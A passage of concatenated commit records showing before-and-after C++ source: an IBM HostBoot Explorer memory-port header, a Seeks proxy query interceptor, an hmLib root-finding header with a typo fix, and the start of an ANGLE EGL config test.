RECR_RETRY_UNMARKED_ERRORS = EXPLR_RDF_RECR_RETRY_UNMARKED_ERRORS,\n RECR_CFG_MAINT_USE_TIMERS = EXPLR_RDF_RECR_CFG_MAINT_USE_TIMERS,\n RECR_MBSECCQ_MAINT_NO_RETRY_UE = EXPLR_RDF_RECR_MBSECCQ_MAINT_NO_RETRY_UE,\n RECR_MBSECCQ_MAINT_NO_RETRY_MPE = EXPLR_RDF_RECR_MBSECCQ_MAINT_NO_RETRY_MPE,\n\n CFG_CTRLUPD_AFTER_ERR = EXPLR_SRQ_MBA_FARB9Q_CFG_CTRLUPD_AFTER_ERR,\n CFG_MC_PER_CAL_ENABLE = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_ENABLE,\n CFG_MC_PER_CAL_INTERVAL_TB = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_INTERVAL_TB,\n CFG_MC_PER_CAL_INTERVAL_TB_LEN = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_INTERVAL_TB_LEN,\n CFG_MC_PER_CAL_INTERVAL = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_INTERVAL,\n CFG_MC_PER_CAL_INTERVAL_LEN = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_INTERVAL_LEN,\n CFG_MC_PER_CAL_FIXED_RUN_LENGTH_EN = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_FIXED_RUN_LENGTH_EN,\n CFG_MC_PER_CAL_RUN_LENGTH = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_RUN_LENGTH,\n CFG_MC_PER_CAL_RUN_LENGTH_LEN = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_RUN_LENGTH_LEN,\n CFG_MC_PER_CAL_CTRLUPD_MIN = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_CTRLUPD_MIN,\n CFG_MC_PER_CAL_CTRLUPD_MIN_LEN = EXPLR_SRQ_MBA_FARB9Q_CFG_MC_PER_CAL_CTRLUPD_MIN_LEN,\n\n CTCR_MPE_TIMER = EXPLR_RDF_CTCR_MPE_TIMER,\n CTCR_MPE_TIMER_LEN = EXPLR_RDF_CTCR_MPE_TIMER_LEN,\n CTCR_MPE_TIMEBASE = EXPLR_RDF_CTCR_MPE_TIMEBASE,\n CTCR_MPE_TIMEBASE_LEN = EXPLR_RDF_CTCR_MPE_TIMEBASE_LEN,\n CTCR_UE_TIMER = EXPLR_RDF_CTCR_UE_TIMER,\n CTCR_UE_TIMER_LEN = EXPLR_RDF_CTCR_UE_TIMER_LEN,\n CTCR_UE_TIMEBASE = EXPLR_RDF_CTCR_UE_TIMEBASE,\n CTCR_UE_TIMEBASE_LEN = EXPLR_RDF_CTCR_UE_TIMEBASE_LEN,\n CTCR_UE_LOCKOUT_ENABLE = EXPLR_RDF_CTCR_UE_LOCKOUT_ENABLE,\n\n DSM0Q_RDTAG_DLY = EXPLR_SRQ_MBA_DSM0Q_CFG_RDTAG_DLY,\n DSM0Q_RDTAG_DLY_LEN = EXPLR_SRQ_MBA_DSM0Q_CFG_RDTAG_DLY_LEN,\n DSM0Q_WRDONE_DLY = EXPLR_SRQ_MBA_DSM0Q_CFG_WRDONE_DLY,\n DSM0Q_WRDONE_DLY_LEN = EXPLR_SRQ_MBA_DSM0Q_CFG_WRDONE_DLY_LEN,\n FARB0Q_RCD_PROTECTION_TIME = EXPLR_SRQ_MBA_FARB0Q_CFG_RCD_PROTECTION_TIME,\n FARB0Q_RCD_PROTECTION_TIME_LEN = EXPLR_SRQ_MBA_FARB0Q_CFG_RCD_PROTECTION_TIME_LEN,\n\n FWMS0_MARK = EXPLR_RDF_FWMS0_MARK,\n FWMS0_MARK_LEN = EXPLR_RDF_FWMS0_MARK_LEN,\n FWMS0_EXIT_1 = EXPLR_RDF_FWMS0_EXIT_1,\n\n RRQ_FIFO_MODE = EXPLR_SRQ_MBA_RRQ0Q_CFG_RRQ_FIFO_MODE,\n WRQ_FIFO_MODE = EXPLR_SRQ_MBA_WRQ0Q_CFG_WRQ_FIFO_MODE,\n };\n};\n\n\n\/\/\/ @brief Get the attributes for the reorder queue setting\n\/\/\/ @param[in] const ref to the mc target\n\/\/\/ @param[out] uint8_t& reference to store the value\n\/\/\/ @return fapi2::ReturnCode - FAPI2_RC_SUCCESS iff get is OK\n\/\/\/ @note Contains the settings for write\/read reorder\n\/\/\/ queue\n\/\/\/\ntemplate< >\ninline fapi2::ReturnCode reorder_queue_setting<mss::mc_type::EXPLORER>(\n const fapi2::Target<fapi2::TARGET_TYPE_OCMB_CHIP>& i_target,\n uint8_t& o_value)\n{\n return mss::attr::get_reorder_queue_setting(i_target, o_value);\n}\n\n\/\/\/\n\/\/\/ @brief ATTR_MEM_EFF_DIMM_SPARE getter\n\/\/\/ @param[in] const ref to the TARGET_TYPE_DIMM\n\/\/\/ @param[out] uint32_t&[] array reference to store the value\n\/\/\/ @return fapi2::ReturnCode - FAPI2_RC_SUCCESS iff get is OK\n\/\/\/ @note Spare DRAM availability. Used in various locations and is computed in mss_eff_cnfg.\n\/\/\/ Array indexes are [DIMM][RANK]\n\/\/\/\ntemplate<>\ninline fapi2::ReturnCode dimm_spare< mss::mc_type::EXPLORER >(\n const fapi2::Target<fapi2::TARGET_TYPE_DIMM>& i_target,\n uint8_t (&o_array)[mss::MAX_RANK_PER_DIMM_ATTR])\n{\n return mss::attr::get_dimm_spare(i_target, o_array);\n}\n\n\/\/\/\n\/\/\/ @brief Change the state of the force_str bit - mc_type::EXPLORER specialization\n\/\/\/ @tparam MC the memory controller type\n\/\/\/ @param[in] i_target the target\n\/\/\/ @param[in] i_state the state\n\/\/\/ @return FAPI2_RC_SUCCESS if and only if ok\n\/\/\/\ntemplate< >\ninline fapi2::ReturnCode change_force_str<DEFAULT_MC_TYPE>(\n const fapi2::Target<fapi2::TARGET_TYPE_OCMB_CHIP>& i_target,\n const states i_state )\n{\n using TT = portTraits<mss::mc_type::EXPLORER>;\n fapi2::buffer<uint64_t> l_data;\n\n FAPI_DBG(\"Change force_str to %s %s\", (i_state == HIGH ? \"high\" : \"low\"), mss::c_str(i_target));\n FAPI_TRY( mss::getScom(i_target, TT::STR0Q_REG, l_data) );\n l_data.writeBit<TT::CFG_FORCE_STR>(i_state);\n FAPI_TRY( mss::putScom(i_target, TT::STR0Q_REG, l_data) );\n\nfapi_try_exit:\n return fapi2::current_err;\n}\n\n\/\/\/\n\/\/\/ @brief Round the symbol from dq_to_symbol to its base multiple of 4, for use with steering\n\/\/\/ @param[in] i_symbol symbol from dq_to_symbol\n\/\/\/ @return uint8_t rounded DQ symbol\n\/\/\/\nuint8_t symbol_rounder(const uint8_t i_symbol);\n\n\/\/\/\n\/\/\/ @brief Configure clock stabilization time field\n\/\/\/ @param[in] i_target the OCMB target to operate on\n\/\/\/ @param[in] i_has_rcd flag to signify existence of RCD on DIMM\n\/\/\/ @return FAPI2_RC_SUCCESS iff ok\n\/\/\/\nfapi2::ReturnCode configure_tstab(const fapi2::Target<fapi2::TARGET_TYPE_OCMB_CHIP>& i_target, const bool i_has_rcd);\n\n}\/\/ mss\n\n#endif\n<commit_msg>Fix default template type in configure_wrq and configure_rrq<commit_after>\/* IBM_PROLOG_BEGIN_TAG *\/\n\/* This is an automatically generated prolog. *\/\n\/* *\/\n\/* $Source: src\/import\/chips\/ocmb\/explorer\/procedures\/hwp\/memory\/lib\/mc\/exp_port.H $ *\/\n\/* *\/\n\/* OpenPOWER HostBoot Project *\/\n\/* *\/\n\/* Contributors Listed Below - COPYRIGHT 2019,2022 *\/\n\/* [+] International Business Machines Corp. *\/\n\/* *\/\n\/* *\/\n\/* Licensed under the Apache License, Version 2.0 (the \"License\"); *\/\n\/* you may not use this file except in compliance with the License. *\/\n\/* You may obtain a copy of the License at *\/\n\/* *\/\n\/* http:\/\/www.apache.org\/licenses\/LICENSE-2.0 *\/\n\/* *\/\n\/* Unless required by applicable law or agreed to in writing, software *\/\n\/* distributed under the License is distributed on an \"AS IS\" BASIS, *\/\n\/* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or *\/\n\/* implied. See the License for the specific language governing *\/\n\/* permissions and limitations under the License. *\/\n\/* *\/\n\/* IBM_PROLOG_END_TAG *\/\n\n\/\/\/\n\/\/\/ @file exp_port.H\n\/\/\/ @brief Code to support ports\n\/\/\/\n\/\/ *HWP HWP Owner: Stephen Glancy <sglancy@us.ibm.com>\n\/\/ *HWP HWP Backup: Louis Stermole <stermole@us.ibm.com>\n\/\/ *HWP Team: Memory\n\/\/ *HWP Level: 3\n\/\/ *HWP Consumed by: HB:FSP\n\n#ifndef __MSS_EXP_PORT_H_\n#define __MSS_EXP_PORT_H_\n\n#include <fapi2.H>\n#include <explorer_scom_addresses.H>\n#include <explorer_scom_addresses_fld.H>\n#include <explorer_scom_addresses_fld_fixes.H>\n#include <lib\/exp_attribute_accessors_manual.H>\n#include <lib\/utils\/mss_exp_conversions.H>\n#include <mss_explorer_attribute_getters.H>\n#include <lib\/mc\/exp_port_traits.H>\n#include <lib\/shared\/exp_consts.H>\n#include <lib\/dimm\/exp_rank.H>\n#include <generic\/memory\/lib\/utils\/mc\/gen_mss_port.H>\n#include <generic\/memory\/lib\/utils\/mc\/gen_mss_restore_repairs.H>\n#include <generic\/memory\/lib\/utils\/shared\/mss_generic_consts.H>\n#include <mss_generic_attribute_getters.H>\n\nnamespace mss\n{\n\n\/\/\/\n\/\/\/ @brief Round the symbol from dq_to_symbol to its base multiple of 4, for use with steering\n\/\/\/ @param[in] i_symbol symbol from dq_to_symbol\n\/\/\/ @return uint8_t rounded DQ symbol\n\/\/\/\nuint8_t symbol_rounder(const uint8_t i_symbol);\n\n\/\/\/\n\/\/\/ @brief Configure clock stabilization time field\n\/\/\/ @param[in] i_target the OCMB target to operate on\n\/\/\/ @param[in] i_has_rcd flag to signify existence of RCD on DIMM\n\/\/\/ @return FAPI2_RC_SUCCESS iff ok\n\/\/\/\nfapi2::ReturnCode configure_tstab(const fapi2::Target<fapi2::TARGET_TYPE_OCMB_CHIP>& i_target, const bool i_has_rcd);\n\n}\/\/ mss\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/**\n * The Seeks proxy and plugin framework are part of the SEEKS project.\n * Copyright (C) 2009 Emmanuel Benazera, juban@free.fr\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n **\/\n \n#include \"query_interceptor.h\"\n#include \"websearch.h\"\n#include \"cgi.h\"\n#include \"miscutil.h\"\n#include \"errlog.h\"\n\n#include <iostream>\n\nnamespace seeks_plugins\n{\n std::string query_interceptor::_p_filename = \"websearch\/patterns\/qi_patterns\";\n \n query_interceptor::query_interceptor(plugin *parent)\n :interceptor_plugin(std::string(plugin_manager::_plugin_repository\n\t\t\t\t + query_interceptor::_p_filename).c_str(),parent)\n {\n }\n \n http_response* query_interceptor::plugin_response(client_state *csp)\n {\n\t\/\/ - parse intercepted query.\n\thash_map<const char*,const char*,hash<const char*>,eqstr> *params\n\t = parse_query(&csp->_http);\n\t\n\tif (!params)\n\t {\n\t errlog::log_error(LOG_LEVEL_ERROR, \"No parameters to intercepted query: %s%s\",\n\t\t\t csp->_http._host, csp->_http._path);\n\t return cgi::cgi_error_memory(); \/\/ ok, this is not a memory error, but this does the job for now.\n\t }\n\t\t\n\t\/\/ debug\n\t\/* std::cerr << \"params size: \" << params->size() << std::endl;\n\thash_map<const char*, const char*, hash<const char*>, eqstr>::const_iterator hit\n\t = params->begin();\n\twhile(hit!=params->end())\n\t {\n\t std::cerr << (*hit).first << \" --> \" << (*hit).second << std::endl;\n\t ++hit;\n\t } *\/\n\t\/\/ debug\n\t\t\n\t\/\/ - send it to the generic search interface.\n\thttp_response *rsp;\n\tif (NULL == (rsp = new http_response()))\n\t {\n\t return cgi::cgi_error_memory();\n\t }\n\t\n\t\/\/ - return the response to the client.\n\t\/\/ default query detection.\n\tconst char *intercepted_query = miscutil::lookup(params,\"q\");\n\t\/\/if (!intercepted_query || strlen(intercepted_query) == 0)\n\t\/\/ otherwise fall back onto se specific translation tables.\n\t\n\t\/\/ std::cout << \"intercepted query: \" << intercepted_query << std::endl;\n\t\n\t\/\/ build up query to seeks proxy.\n\tchar *q = strdup(CGI_PREFIX);\n\tmiscutil::string_append(&q,\"search?q=\");\n\tmiscutil::string_append(&q,intercepted_query);\n\tmiscutil::string_append(&q,\"&page=1\");\n\tmiscutil::string_append(&q,\"&expansion=1\");\n\tmiscutil::string_append(&q,\"&action=expand\");\n\tcgi::cgi_redirect(rsp,q);\n \n\treturn cgi::finish_http_response(csp,rsp);\n }\n \n hash_map<const char*,const char*,hash<const char*>,eqstr>* query_interceptor::parse_query(http_request *http) const\n {\n\tif (http->_path)\n\t {\n\t hash_map<const char*,const char*,hash<const char*>,eqstr> *search_params\n\t = cgi::parse_cgi_parameters(http->_path);\n\t return search_params;\n\t }\n\telse return NULL;\n }\n \n \n} \/* end of namespace. *\/\n<commit_msg>fix wrong interception cases in query interceptor<commit_after>\/**\n * The Seeks proxy and plugin framework are part of the SEEKS project.\n * Copyright (C) 2009 Emmanuel Benazera, juban@free.fr\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n **\/\n \n#include \"query_interceptor.h\"\n#include \"websearch.h\"\n#include \"cgi.h\"\n#include \"miscutil.h\"\n#include \"errlog.h\"\n\n#include <iostream>\n\nnamespace seeks_plugins\n{\n std::string query_interceptor::_p_filename = \"websearch\/patterns\/qi_patterns\";\n \n query_interceptor::query_interceptor(plugin *parent)\n :interceptor_plugin(std::string(plugin_manager::_plugin_repository\n\t\t\t\t + query_interceptor::_p_filename).c_str(),parent)\n {\n }\n \n http_response* query_interceptor::plugin_response(client_state *csp)\n {\n\t\/\/ - parse intercepted query.\n\thash_map<const char*,const char*,hash<const char*>,eqstr> *params\n\t = parse_query(&csp->_http);\n\t\n\tif (!params)\n\t {\n\t errlog::log_error(LOG_LEVEL_ERROR, \"No parameters to intercepted query: %s%s\",\n\t\t\t csp->_http._host, csp->_http._path);\n\t return cgi::cgi_error_memory(); \/\/ ok, this is not a memory error, but this does the job for now.\n\t }\n\t\t\n\t\/\/ debug\n\t\/* std::cerr << \"params size: \" << params->size() << std::endl;\n\thash_map<const char*, const char*, hash<const char*>, eqstr>::const_iterator hit\n\t = params->begin();\n\twhile(hit!=params->end())\n\t {\n\t std::cerr << (*hit).first << \" --> \" << (*hit).second << std::endl;\n\t ++hit;\n\t } *\/\n\t\/\/ debug\n\t\t\n\t\/\/ - send it to the generic search interface.\n\thttp_response *rsp;\n\tif (NULL == (rsp = new http_response()))\n\t {\n\t return cgi::cgi_error_memory();\n\t }\n\t\n\t\/\/ - return the response to the client.\n\t\/\/ default query detection.\n\tconst char *intercepted_query = miscutil::lookup(params,\"q\");\n\tif (!intercepted_query)\n\t {\n\t return NULL; \/\/ wrong interception, cancel.\n\t }\n\t\t\n\t\/\/ build up query to seeks proxy.\n\tchar *q = strdup(CGI_PREFIX);\n\tmiscutil::string_append(&q,\"search?q=\");\n\tmiscutil::string_append(&q,intercepted_query);\n\tmiscutil::string_append(&q,\"&page=1\");\n\tmiscutil::string_append(&q,\"&expansion=1\");\n\tmiscutil::string_append(&q,\"&action=expand\");\n\tcgi::cgi_redirect(rsp,q);\n \n\treturn cgi::finish_http_response(csp,rsp);\n }\n \n hash_map<const char*,const char*,hash<const char*>,eqstr>* query_interceptor::parse_query(http_request *http) const\n {\n\tif (http->_path)\n\t {\n\t hash_map<const char*,const char*,hash<const char*>,eqstr> *search_params\n\t = cgi::parse_cgi_parameters(http->_path);\n\t return search_params;\n\t }\n\telse return NULL;\n }\n \n \n} \/* end of namespace. *\/\n<|endoftext|>"} {"text":"<commit_before>#ifndef HMLIB_MATH_ROOT_INC\n#define HMLIB_MATH_ROOT_INC 100\n#\n#include<utility>\n#include<iterator>\n#include<boost\/math\/tools\/roots.hpp>\nnamespace hmLib {\n\tnamespace math {\n\t\ttemplate<typename T>\n\t\tstruct toms748_root_stepper {\n\t\t\tusing value_type = T;\n\t\tprivate:\n\t\t\tvalue_type step;\n\t\t\tvalue_type error;\n\t\tpublic:\n\t\t\ttoms748_root_stepper(value_type step_, value_type error_):step(step_),error(error_){}\n\t\t\ttemplate<typename fn, typename ans_type>\n\t\t\tstd::pair<value_type, value_typeT> operator()(fn Fn, value_type& start, ans_type& startFnVal, value_type end)const {\n\t\t\t\tvalue_type a = start;\n\t\t\t\tans_type fa = startFnVal;\n\n\t\t\t\twhile(a < end) {\n\t\t\t\t\tauto b = std::min(a + step, end);\n\t\t\t\t\tauto fb = Fn(b);\n\n\t\t\t\t\tif(fb == 0) {\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn std::make_pair(b, b);\n\t\t\t\t\t} else if(fa * fb < 0.0) {\n\t\t\t\t\t\tboost::uintmax_t max_iter = 128;\n\t\t\t\t\t\tauto ans = boost::math::tools::toms748_solve(Fn, a, b, fa, fb, [error](ans_type v1, ans_type v2) {return v2 - v1 < error; }, max_iter);\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn ans;\n\t\t\t\t\t}\n\n\t\t\t\t\ta = b;\n\t\t\t\t\tfa = fb;\n\t\t\t\t}\n\n\t\t\t\tstart = a;\n\t\t\t\tstartFnVal = fa;\n\n\t\t\t\treturn std::make_pair(a, a);\n\t\t\t}\n\t\t\tvoid reset(value_type step_, value_type error_) {\n\t\t\t\tstep = step_;\n\t\t\t\terror = error_;\n\t\t\t}\n\t\t};\n\t\ttemplate<typename T>\n\t\tstruct bisect_root_stepper {\n\t\t\tusing value_type = T;\n\t\tprivate:\n\t\t\tvalue_type step;\n\t\t\tvalue_type error;\n\t\tpublic:\n\t\t\tbisect_root_stepper(value_type step_, value_type error_):step(step_), error(error_) {}\n\t\t\ttemplate<typename fn, typename ans_type>\n\t\t\tstd::pair<value_type, value_typeT> operator()(fn Fn, value_type& start, ans_type& startFnVal, value_type end)const {\n\t\t\t\tvalue_type a = start;\n\t\t\t\tans_type fa = startFnVal;\n\n\t\t\t\twhile(a < end) {\n\t\t\t\t\tauto b = std::min(a + step, end);\n\t\t\t\t\tauto fb = Fn(b);\n\n\t\t\t\t\tif(fb == 0) {\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn std::make_pair(b, b);\n\t\t\t\t\t} else if(fa * fb < 0.0) {\n\t\t\t\t\t\tboost::uintmax_t max_iter = 128;\n\t\t\t\t\t\tauto ans = boost::math::tools::bisect(Fn, a, b, [error](ans_type v1, ans_type v2) {return v2 - v1 < error; });\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn ans;\n\t\t\t\t\t}\n\n\t\t\t\t\ta = b;\n\t\t\t\t\tfa = fb;\n\t\t\t\t}\n\n\t\t\t\tstart = a;\n\t\t\t\tstartFnVal = fa;\n\n\t\t\t\treturn std::make_pair(a, a);\n\t\t\t}\n\t\t\tvoid reset(value_type step_, value_type error_) {\n\t\t\t\tstep = step_;\n\t\t\t\terror = error_;\n\t\t\t}\n\t\t};\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root(root_stepper Stepper, fn Fn, T minval, T maxval, output_iterator out) {\n\t\t\tauto FnVal = Fn(minval);\n\t\t\twhile (minval<maxval) {\n\t\t\t\tauto Ans = Stepper(Fn, minval, FnVal, maxval);\n\n\t\t\t\tif (Ans.first < maxval) {\n\t\t\t\t\t*(out++) = (Ans.first + Ans.second) \/ 2.0;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn out;\n\t\t}\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root_with_stability(root_stepper Stepper, fn Fn, T minval, T maxval, output_iterator out) {\n\t\t\tauto FnVal = Fn(minval);\n\t\t\twhile(minval<maxval) {\n\t\t\t\tauto Ans = Stepper(Fn, minval, FnVal, maxval);\n\n\t\t\t\tif(Ans.first < maxval) {\n\t\t\t\t\t*(out++) = std::make_pair((Ans.first + Ans.second) \/ 2.0, FnVal<0);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn out;\n\t\t}\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator convergent_root(root_stepper Stepper, fn Fn, T minval, T maxval, output_iterator out) {\n\t\t\tauto FnVal = Fn(minval);\n\t\t\twhile(minval<maxval) {\n\t\t\t\tauto Ans = Stepper(Fn, minval, FnVal);\n\n\t\t\t\tif(Ans.first < maxval && FnVal<0) {\n\t\t\t\t\t*(out++) = (Ans.first + Ans.second) \/ 2.0;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn out;\n\t\t}\n\t\ttemplate<typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root_toms748(fn Fn, T minval, T maxval, T step, T error, output_iterator out) {\n\t\t\ttoms748_root_stepper<T> Stepper(step, error);\n\t\t\treturn root(Stepper, Fn, minval, maxval, out);\n\t\t}\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root_with_stability_toms748(fn Fn, T minval, T maxval, T step, T error, output_iterator out) {\n\t\t\ttoms748_root_stepper<T> Stepper(step, error);\n\t\t\treturn root_with_stability(Stepper, Fn, minval, maxval, out);\n\t\t}\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator convergent_root(fn Fn, T minval, T maxval, T step, T error, output_iterator out) {\n\t\t\ttoms748_root_stepper<T> Stepper(step, error);\n\t\t\treturn convergent_root(Stepper, Fn, minval, maxval, out);\n\t\t}\n\t}\n}\n#\n#endif\n<commit_msg>Fix: typo in root <commit_after>#ifndef HMLIB_MATH_ROOT_INC\n#define HMLIB_MATH_ROOT_INC 100\n#\n#include<utility>\n#include<iterator>\n#include<boost\/math\/tools\/roots.hpp>\nnamespace hmLib {\n\tnamespace math {\n\t\ttemplate<typename T>\n\t\tstruct toms748_root_stepper {\n\t\t\tusing value_type = T;\n\t\tprivate:\n\t\t\tvalue_type step;\n\t\t\tvalue_type error;\n\t\tpublic:\n\t\t\ttoms748_root_stepper(value_type step_, value_type error_):step(step_),error(error_){}\n\t\t\ttemplate<typename fn, typename ans_type>\n\t\t\tstd::pair<value_type, value_type> operator()(fn Fn, value_type& start, ans_type& startFnVal, value_type end)const {\n\t\t\t\tvalue_type a = start;\n\t\t\t\tans_type fa = startFnVal;\n\n\t\t\t\twhile(a < end) {\n\t\t\t\t\tauto b = std::min(a + step, end);\n\t\t\t\t\tauto fb = Fn(b);\n\n\t\t\t\t\tif(fb == 0) {\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn std::make_pair(b, b);\n\t\t\t\t\t} else if(fa * fb < 0.0) {\n\t\t\t\t\t\tboost::uintmax_t max_iter = 128;\n\t\t\t\t\t\tauto ans = boost::math::tools::toms748_solve(Fn, a, b, fa, fb, [error=error](ans_type v1, ans_type v2) {return v2 - v1 < error; }, max_iter);\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn ans;\n\t\t\t\t\t}\n\n\t\t\t\t\ta = b;\n\t\t\t\t\tfa = fb;\n\t\t\t\t}\n\n\t\t\t\tstart = a;\n\t\t\t\tstartFnVal = fa;\n\n\t\t\t\treturn std::make_pair(a, a);\n\t\t\t}\n\t\t\tvoid reset(value_type step_, value_type error_) {\n\t\t\t\tstep = step_;\n\t\t\t\terror = error_;\n\t\t\t}\n\t\t};\n\t\ttemplate<typename T>\n\t\tstruct bisect_root_stepper {\n\t\t\tusing value_type = T;\n\t\tprivate:\n\t\t\tvalue_type step;\n\t\t\tvalue_type error;\n\t\tpublic:\n\t\t\tbisect_root_stepper(value_type step_, value_type error_):step(step_), error(error_) {}\n\t\t\ttemplate<typename fn, typename ans_type>\n\t\t\tstd::pair<value_type, value_type> operator()(fn Fn, value_type& start, ans_type& startFnVal, value_type end)const {\n\t\t\t\tvalue_type a = start;\n\t\t\t\tans_type fa = startFnVal;\n\n\t\t\t\twhile(a < end) {\n\t\t\t\t\tauto b = std::min(a + step, end);\n\t\t\t\t\tauto fb = Fn(b);\n\n\t\t\t\t\tif(fb == 0) {\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn std::make_pair(b, b);\n\t\t\t\t\t} else if(fa * fb < 0.0) {\n\t\t\t\t\t\tboost::uintmax_t max_iter = 128;\n\t\t\t\t\t\tauto ans = boost::math::tools::bisect(Fn, a, b, [error=error](ans_type v1, ans_type v2) {return v2 - v1 < error; });\n\t\t\t\t\t\tstart = b;\n\t\t\t\t\t\tstartFnVal = fb;\n\t\t\t\t\t\treturn ans;\n\t\t\t\t\t}\n\n\t\t\t\t\ta = b;\n\t\t\t\t\tfa = fb;\n\t\t\t\t}\n\n\t\t\t\tstart = a;\n\t\t\t\tstartFnVal = fa;\n\n\t\t\t\treturn std::make_pair(a, a);\n\t\t\t}\n\t\t\tvoid reset(value_type step_, value_type error_) {\n\t\t\t\tstep = step_;\n\t\t\t\terror = error_;\n\t\t\t}\n\t\t};\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root(root_stepper Stepper, fn Fn, T minval, T maxval, output_iterator out) {\n\t\t\tauto FnVal = Fn(minval);\n\t\t\twhile (minval<maxval) {\n\t\t\t\tauto Ans = Stepper(Fn, minval, FnVal, maxval);\n\n\t\t\t\tif (Ans.first < maxval) {\n\t\t\t\t\t*(out++) = (Ans.first + Ans.second) \/ 2.0;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn out;\n\t\t}\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root_with_stability(root_stepper Stepper, fn Fn, T minval, T maxval, output_iterator out) {\n\t\t\tauto FnVal = Fn(minval);\n\t\t\twhile(minval<maxval) {\n\t\t\t\tauto Ans = Stepper(Fn, minval, FnVal, maxval);\n\n\t\t\t\tif(Ans.first < maxval) {\n\t\t\t\t\t*(out++) = std::make_pair((Ans.first + Ans.second) \/ 2.0, FnVal<0);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn out;\n\t\t}\n\t\ttemplate<typename root_stepper, typename fn, typename T, typename output_iterator>\n\t\toutput_iterator stable_root(root_stepper Stepper, fn Fn, T minval, T maxval, output_iterator out) {\n\t\t\tauto FnVal = Fn(minval);\n\t\t\twhile(minval<maxval) {\n\t\t\t\tauto Ans = Stepper(Fn, minval, FnVal, maxval);\n\n\t\t\t\tif(Ans.first < maxval && FnVal<0) {\n\t\t\t\t\t*(out++) = (Ans.first + Ans.second) \/ 2.0;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn out;\n\t\t}\n\t\ttemplate<typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root_toms748(fn Fn, T minval, T maxval, T step, T error, output_iterator out) {\n\t\t\ttoms748_root_stepper<T> Stepper(step, error);\n\t\t\treturn root(Stepper, std::forward<fn>(Fn), minval, maxval, out);\n\t\t}\n\t\ttemplate<typename fn, typename T, typename output_iterator>\n\t\toutput_iterator root_with_stability_toms748(fn Fn, T minval, T maxval, T step, T error, output_iterator out) {\n\t\t\ttoms748_root_stepper<T> Stepper(step, error);\n\t\t\treturn root_with_stability(Stepper, std::forward<fn>(Fn), minval, maxval, out);\n\t\t}\n\t\ttemplate<typename fn, typename T, typename output_iterator>\n\t\toutput_iterator stable_root_toms748(fn Fn, T minval, T maxval, T step, T error, output_iterator out) {\n\t\t\ttoms748_root_stepper<T> Stepper(step, error);\n\t\t\treturn stable_root(Stepper, std::forward<fn>(Fn), minval, maxval, out);\n\t\t}\n\t}\n}\n#\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright 2019 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ EGLChooseConfigTest.cpp:\n\/\/ Tests of proper default-value semantics for eglChooseConfig\n\n#include <gtest\/gtest.h>\n\n#include \"test_utils\/ANGLETest.h\"\n#include \"test_utils\/angle_test_configs.h\"\n#include \"util\/EGLWindow.h\"\n\nusing namespace angle;\n\nnamespace angle\n{\nclass EGLChooseConfigTest : public ANGLETest\n{\n protected:\n EGLChooseConfigTest() {}\n};\n\n\/\/ Test that the 